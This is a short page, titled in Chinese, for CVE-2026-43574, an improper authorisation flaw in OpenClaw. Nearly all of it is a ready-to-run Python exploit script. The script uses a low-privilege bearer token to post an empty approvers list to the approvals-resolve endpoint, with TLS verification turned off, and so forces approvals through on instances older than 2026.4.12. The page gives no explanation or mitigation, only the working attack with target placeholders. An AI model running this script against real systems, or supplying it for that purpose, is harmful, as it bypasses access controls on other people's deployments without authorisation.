CVE-2026-43574 OpenClaw不当授权漏洞

import requests # Exploit script for CVE-2026-43574 # Target: OpenClaw instance < 2026.4.12 def exploit(target_url, approval_id, attacker_token): headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # The vulnerability is triggered by sending an empty approvers list payload = { "approval_id": approval_id, "approvers": [] } endpoint = f"{target_url}/api/v1/approvals/resolve" try: response = requests.post(endpoint, json=payload, headers=headers, verify=False) if response.status_code == 200: print(f"[+] Exploit successful! Approval {approval_id} resolved.") print(f"[+] Response: {response.json()}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target details TARGET = "https://vulnerable-openclaw.com" ID = "TARGET_APPROVAL_ID" TOKEN = "LOW_PRIV_USER_TOKEN" exploit(TARGET, ID, TOKEN)